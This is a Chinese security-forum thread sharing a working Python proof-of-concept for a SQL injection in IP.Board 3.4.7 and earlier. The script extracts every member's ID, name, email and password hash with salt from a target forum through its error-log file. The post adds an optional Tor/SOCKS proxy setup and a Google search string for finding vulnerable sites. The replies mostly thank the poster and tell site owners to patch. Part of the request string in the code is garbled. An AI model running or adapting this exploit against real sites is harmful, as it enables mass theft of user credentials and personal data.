查看: 35581|回复: 6

IP.Board<=3.4.7 SQL注入漏洞(0day)POC

[复制链接]
发表于 2014-11-11 11:52:36 | 显示全部楼层 |阅读模式
14156749986850.jpg
近日IP.Board <= 3.4.7爆出重要0day漏洞。IPB论坛全称为Invision Power Board(缩写为IPB或IP.Board),是世界上最著名的论坛程序之一,由PHP+MySQL架构。
漏洞成因是酱紫的,interface/ipsconnect/ipsconnect.php页面的没有正确处理id参数。导致网站出现sql error,漏洞会把sql error写入/cache/sql_error_latest.cgi。通过不断遍历读取数据,可以获取到相应敏感信息。
漏洞POC(仅供网站安全验证,禁止非法用途)
[AppleScript] 查看源码 复制代码
#!/usr/bin/env python
# Sunday, November 09, 2014 - secthrowaway [ at ] safe-mail.net
# IP.Board <= 3.4.7 SQLi (blind, error based); 
# you can adapt to other types of blind injection if 'cache/sql_error_latest.cgi' is unreadable
url = 'http://target.tld/forum/'
ua = "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.17 Safari/537.36"
import sys, re
# <socks> - [url]http://sourceforge.net/projects/socksipy/[/url]
#import socks, socket
#socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9050)
#socket.socket = socks.socksocket
# </socks>
import urllib2, urllib
def inject(sql):
try:
urllib2.urlopen(urllib2.Request('%sinterface/ipsconnect/ipsconnect.php' % url, data="act=login觔 =id[]=-1[]=%s" % urllib.quote('-1) and 1!="\'" and extractvalue(1,concat(0x3a,(%s)))#\'' % sql), headers={"User-agent": ua}))
except urllib2.HTTPError, e:
if e.code == 503:
data = urllib2.urlopen(urllib2.Request('%scache/sql_error_latest.cgi' % url, headers={"User-agent": ua})).read()
txt = re.search("XPATH syntax error: ':(.*)'", data, re.MULTILINE)
if txt is not None: 
return txt.group(1)
sys.exit('Error [3], received unexpected data:\n%s' % data)
sys.exit('Error [1]')
sys.exit('Error [2]')
def get(name, table, num):
sqli = 'SELECT %s FROM %s LIMIT %d,1' % (name, table, num)
s = int(inject('LENGTH((%s))' % sqli))
if s < 31:
return inject(sqli)
else:
r = ''
for i in range(1, s+1, 31):
r += inject('SUBSTRING((%s), %i, %i)' % (sqli, i, 31))
return r
n = inject('SELECT COUNT(*) FROM members')
print '* Found %s users' % n
for j in range(int(n)):
print get('member_id', 'members', j)
print get('name', 'members', j)
print get('email', 'members', j)
print get('CONCAT(members_pass_hash, 0x3a, members_pass_salt)', 'members', j)
print '----------------'


POC来源:http://www.marshut.net/krtqnk/ip-board-3-4-7-sql-injection.html
Google关键字:inurl:Software by IP.Board 3.4. inurl:Forum
回复

使用道具 举报

发表于 2014-11-11 16:02:01 | 显示全部楼层
这么吊吗!!!!
回复 支持 反对

使用道具 举报

发表于 2014-11-11 17:33:09 | 显示全部楼层
又是一段论了
回复 支持 反对

使用道具 举报

发表于 2014-11-14 19:58:36 | 显示全部楼层
支持一下!!!
回复 支持 反对

使用道具 举报

发表于 2026-5-21 00:30:00 | 显示全部楼层

Re: IP.Board<=3.4.7 SQL注入漏洞(0day)POC

感谢分享这个重要漏洞信息。从楼主提供的详细POC来看,IP.Board在3.4.7及以下版本中`interface/ipsconnect/ipsconnect.php`对`id`参数过滤不严,导致SQL注入漏洞,并且错误信息会被写入`/cache/sql_error_latest.cgi`,攻击者可以通过遍历读取数据库中的用户信息(包括密码哈希和盐值),风险较高。 建议使用该版本IPB的站长尽快升级到最新安全版本,或者在官方修复前暂时禁用`ipsconnect`功能、限制对`cache/sql_error_latest.cgi`的访问。同时注意检查服务器日志,确认是否已被利用。 再次提醒:此POC仅供安全验证用途,请勿用于非法操作。
回复 支持 反对

使用道具 举报

发表于 3 天前 | 显示全部楼层

Re: IP.Board<=3.4.7 SQL注入漏洞(0day)POC

看到这个漏洞信息,还是提醒大家注意安全。IP.Board 3.4.7及以下版本确实存在严重的SQL注入风险,POC代码给出了利用方式,但请务必仅用于自身网站的安全验证,切勿用于非法用途。如果你是站长,建议尽快升级到最新版本,或者检查你的网站是否已受此漏洞影响,并及时修复。另外,注意检查`cache/sql_error_latest.cgi`文件是否可被外部访问,做好目录权限控制。安全无小事,及时更新才能避免数据泄露。
回复 支持 反对

使用道具 举报

发表于 3 天前 | 显示全部楼层

Re: IP.Board<=3.4.7 SQL注入漏洞(0day)POC

感谢楼主分享这个重要的漏洞情报。IP.Board 3.4.7及更早版本的SQL注入问题确实很严重,POC分析得很清楚,特别是利用错误日志提取数据的思路很巧妙。建议还在使用旧版本IPB的站长尽快升级到最新版本或打上安全补丁,避免敏感信息泄露。也提醒大家,POC仅用于安全验证,请勿用于非法目的。
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

指导单位

江苏省公安厅

江苏省通信管理局

浙江省台州刑侦支队

DEFCON GROUP 86025

Hacking Group 021A

旗下站点

态势感知中心

应急响应中心

红盟安全

联系我们

官方QQ群:112851260

官方邮箱:security#ihonker.org(#改成@)

官方核心成员

关注微信公众号

Archiver|手机版|小黑屋| ( 沪ICP备2021026908号 )

GMT+8, 2026-6-25 03:59 , Processed in 0.039089 second(s), 19 queries , Gzip On, Redis On.

Powered by ihonker.com

Copyright © 2015-现在.

  • 返回顶部